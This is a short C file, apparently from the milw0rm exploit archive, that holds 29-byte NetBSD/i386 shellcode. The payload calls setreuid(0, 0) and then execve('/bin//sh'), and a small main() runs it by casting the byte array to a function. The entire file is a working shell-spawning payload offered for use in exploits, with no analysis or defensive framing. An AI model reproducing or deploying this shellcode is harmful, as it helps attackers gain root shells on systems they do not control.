/*
* minervini at neuralnoise dot com (c) 2005
* NetBSD/i386 2.0, setreuid(0, 0); execve("/bin//sh", ..., NULL);
* note: unsafe shellcode, but 29 bytes long;
* doesn't work if (eax & 0x40000000) != 0;
*/
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
char scode[] =
"\x99" // cltd
"\x52" // push %edx
"\x52" // push %edx
"\x52" // push %edx
"\x6a\x7e" // push $0x7e
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x54" // push %esp
"\x53" // push %ebx
"\x52" // push %edx
"\x34\x3b" // xor $0x3b,%al
"\xcd\x80"; // int $0x80
int main() {
void (*code) () = (void *) scode;
printf("length: %d\n", strlen(scode));
code();
return (0);
}
// milw0rm.com [2005-11-30]
